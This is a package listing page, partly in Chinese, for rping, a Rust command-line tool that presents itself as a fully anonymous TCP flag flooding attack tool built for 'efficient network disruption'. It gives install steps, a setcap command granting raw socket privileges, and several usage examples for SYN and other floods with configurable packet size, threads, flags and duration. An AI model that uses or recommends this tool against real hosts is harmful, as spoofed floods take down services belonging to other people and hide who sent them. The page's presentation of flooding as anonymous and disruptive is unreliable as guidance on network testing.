#tcp #syn #networking #pcap #command-line-tool #per-thread

bin+lib rping

🌊 一个完全匿名的任何TCP标志洪水攻击CLI

7个版本

0.1.6 2024年5月20日
0.1.5 2024年1月12日

#963 in 网络编程

每月40次下载

MIT许可

40KB
512

🌊 RPING

Crates.io docs License

rping 0.1.6
 ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄        ▄  ▄▄▄▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░▌      ▐░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌░▌     ▐░▌▐░█▀▀▀▀▀▀▀▀▀ 
▐░▌       ▐░▌▐░▌       ▐░▌     ▐░▌     ▐░▌▐░▌    ▐░▌▐░▌          
▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌     ▐░▌     ▐░▌ ▐░▌   ▐░▌▐░▌ ▄▄▄▄▄▄▄▄ 
▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌     ▐░▌     ▐░▌  ▐░▌  ▐░▌▐░▌▐░░░░░░░░▌
▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀      ▐░▌     ▐░▌   ▐░▌ ▐░▌▐░▌ ▀▀▀▀▀▀█░▌
▐░▌     ▐░▌  ▐░▌               ▐░▌     ▐░▌    ▐░▌▐░▌▐░▌       ▐░▌
▐░▌      ▐░▌ ▐░▌           ▄▄▄▄█░█▄▄▄▄ ▐░▌     ▐░▐░▌▐░█▄▄▄▄▄▄▄█░▌
▐░▌       ▐░▌▐░▌          ▐░░░░░░░░░░░▌▐░▌      ▐░░▌▐░░░░░░░░░░░▌
          ▀  ▀            ▀▀▀▀▀▀▀▀▀▀▀  ▀        ▀▀  ▀▀▀▀▀▀▀▀▀▀▀ 

🌊 RPING CLI
============

A powerful command-line tool for executing TCP flags flooding attacks.
Customize attacks with options like packet length, number of threads,
and TCP flags for efficient network disruption.

🚀 rping:一个健壮的、完全匿名的、基于Rust的CLI,用于任何TCP标志洪水攻击。

📖 目录

🚀 安装

要安装 rping,使用以下Cargo命令

cargo install --locked --all-features rping

安装完成后,运行以下命令

sudo setcap cap_net_raw+ep ~/.cargo/bin/rping

这将设置 CAP_NET_RAW 能力 并使 rping 以提升权限运行。

✨ 功能

  • 执行任何TCP标志,例如SYN洪水攻击,并具有可自定义的参数。
  • 指定TCP数据包的长度、目标IP、目标端口、数据包数量和攻击持续时间。
  • 多线程执行以提高效率。
  • IP和TCP数据包都经过精心制作,以模拟完全匿名的任何标志TCP DoS洪水。

🚗 用法

学习如何使用 rping 并通过以下示例探索其功能

执行SYN洪水攻击

rping -t 127.0.0.1 -p 80

指定数据包长度

rping -s 150 -t 127.0.0.1 -p 443

使用多线程

rping -s 1500 -t 127.0.0.1 -p 8080 -h 16

指定TCP标志(例如ack、urg)

rping -f ack -t 127.0.0.1 -p 8080

设置攻击持续时间(分钟)

rping -d 5 -t 127.0.0.1 -p 80

设置每线程数据包数量

rping -n 10000 -t 127.0.0.1 -p 8080

设置网络接口

rping -n 10000 -t 127.0.0.1 -p 8080 -i eth0

🎨 选项

选项 默认值 描述
-s, --size 1500 设置SYN数据包的长度。
-t, --target 指定要洪水的目标IP地址。
-p, --port 80 设置攻击的目标端口。
-h, --threads 8 设置攻击的线程数。
-f, --flag syn 指定TCP标志(例如syn、ack、urg...)。
-d, --duration 1 设置攻击持续时间(分钟)。
-n, --number 2^63 设置每线程的数据包数量。
-i, --iface eth0 设置绑定套接字的网络接口。

[!NOTE] 由于 socket2 的限制,配置网络接口仅限于iOS、macOS、tvOS或watchOS。

🤝 贡献

欢迎贡献和反馈!如果您想贡献,报告问题或建议改进,请与该项目在GitHub上互动。您的贡献有助于改进这个社区用的CLI工具。

📄 许可证

本项目采用MIT许可证

依赖

~0.4–8MB
~53K SLoC